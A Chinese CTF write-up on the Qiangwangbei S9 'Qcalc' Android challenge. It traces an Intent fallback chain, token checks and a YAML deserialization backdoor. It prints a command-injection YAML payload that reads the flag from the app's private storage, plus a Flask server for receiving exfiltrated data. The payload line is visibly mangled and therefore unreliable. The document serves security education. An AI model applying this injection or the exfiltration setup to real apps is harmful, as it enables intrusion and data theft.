[强网杯S9]Qcalc赛题解析

admin 2025-12-29 00:49:29 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文解析强网杯S9Qcalc赛题,聚焦Android逆向与组件漏洞利用。通过审计发现Intent异常触发机制及YAML反序列化漏洞,配合Token校验构造调用链实现RCE。针对无网络权限环境,利用命令注入将Flag回写到history.yml并读取,详细阐述了攻击链复现与Payload构造过程。 综合评分: 89 文章分类: CTF,移动安全,逆向分析,漏洞分析,漏洞POC


cover_image

[强网杯S9]Qcalc赛题解析

Shangwendada

看雪学苑

2025年12月27日 17:59 上海

首先是查看导出的Activity  只有MainActivity导出,但发现有导出的contentProvider

看看是否存在路径穿越

检测了私有目录,这个漏洞点可以直接放弃。

审计MainAcitivy主要是两个处理intent的地方

第一发是把intent存入fallback,第二发是带着fallback进入不导出的BridgeActivity,触发方式在代码中有所体现,通过除0触发异常即可。

记下来就是检查token之后触发之前fallback的Activity,这里还有一个有意思的URI,通过provider提供了私有目录下files里面的history.yml,也就是启动的Activity有读写他的权限,接下来看与History相关的代码。

这里发现加载了yaml文件然后又startAcitivy,本来以为是可以通过这个然后构造content://com.qinquang.calc/../flag-xxxxxx.txt给我的poc apk的但是yaml语法不知道怎么回事,好像构造不了无限报错。

无奈放弃,后发现后门函数

直接反序列化执行,拼接命令即可。

那么就是触发loadHistory然后反序列化执行PingUtil了

目前梳理调用链就是Save Intent -> Expected  -> Save Intetn -> Expected -> RCE

首先写一个计算token的每次intent都有token校验,我们一开始可以直接调试看输出或者自己计算都可以,token错误会输出期望token。

测试一下命令执行

首先利用MT管理器直接手动写入一个Yaml,启动之后手动触发loadHistory

执行了,然后才用分号拼接执行其他命令,这里本来打算cat flag之后dns外带出来,但是后来发现这apk没有网络权限,这就很炸裂了。

然而apk权限的shell也无法写入到data/local/tmp

后想起之前可控的history.yml,将flag回写到history.yml再读取出来就可以了 构造出的yml文件如下:

“!!com.qinquang.calc.PingUtil “8.8.8.8; FLAG=(cat/data/data/com.qinquang.calc/flag−∗.txt);echo−¨−−nflag:(cat /data/data/com.qinquang.calc/flag-*.txt); echo \”—\\nflag:(cat/data/data/com.qinquang.calc/flag−∗.txt);echo−¨−−nflag:FLAG\n…” > /data/data/com.qinquang.calc/files/history.yml””;

最后如何发送又成了问题,这里建立一个服务端

from flask import Flask, request
import base64

app = Flask(__name__)

@app.route('/receive', methods=['POST', 'GET'])
def receive_data():
if request.method == 'POST':
        data = request.form.get('flag') or request.form.get('data')
else:
        data = request.args.get('flag') or request.args.get('data')

if data:
try:
# 尝试base64解码
            decoded = base64.b64decode(data).decode('utf-8')
print(f"解码后的数据: {decoded}")
with open('received_flags.txt', 'a') as f:
                f.write(f"{decoded}\n")
except:
print(f"原始数据: {data}")
with open('received_flags.txt', 'a') as f:
                f.write(f"{data}\n")

print(f"收到请求: {request.method}")
print(f"Headers: {dict(request.headers)}")
print(f"Form data: {request.form}")
print(f"Args: {request.args}")

return "OK", 200

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=True)

然后搭一个反代,随便搞一个证书就可以了

这一步是由于一些安全限制,没有整数的域名可能不好传出去,也可以直接不限制,但是忘记怎么写了,懒得调试直接一步到位。

接下来就是apk构造了

主体框架大概就是这样

再看看WriteActivity

在看看read的

这就结束了,测试好了直接打包上传就拿到flag了

写wp截图的时候系统好像出bug了,上传了两次没反应第三次上传返回了两个flag奇奇怪怪的(第一次的时候系统正常一个flag)

写wp收flag截图:

代码POC见:https://github.com/SHangwendada/QclacPoc

看雪ID:Shangwendada

https://bbs.kanxue.com/user-home-979679.htm

*本文为看雪论坛优秀文章,由 Shangwendada 原创,转载请注明来自看雪社区

往期推荐

V8 Bytecode反汇编/反编译不完全指南

静态程序分析之数据流分析(Foundations + LiveVar Analysis Code)续

tt x-gorgon分析

基于Minifilter实现目录保护软件,自定义保护目录,用户可选择是否允许文件行为

一道简单的RE迷宫题

球分享

球点赞

球在看

点击阅读原文查看更多


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:看雪学苑 Shangwendada《[强网杯S9]Qcalc赛题解析》

评论:0   参与:  0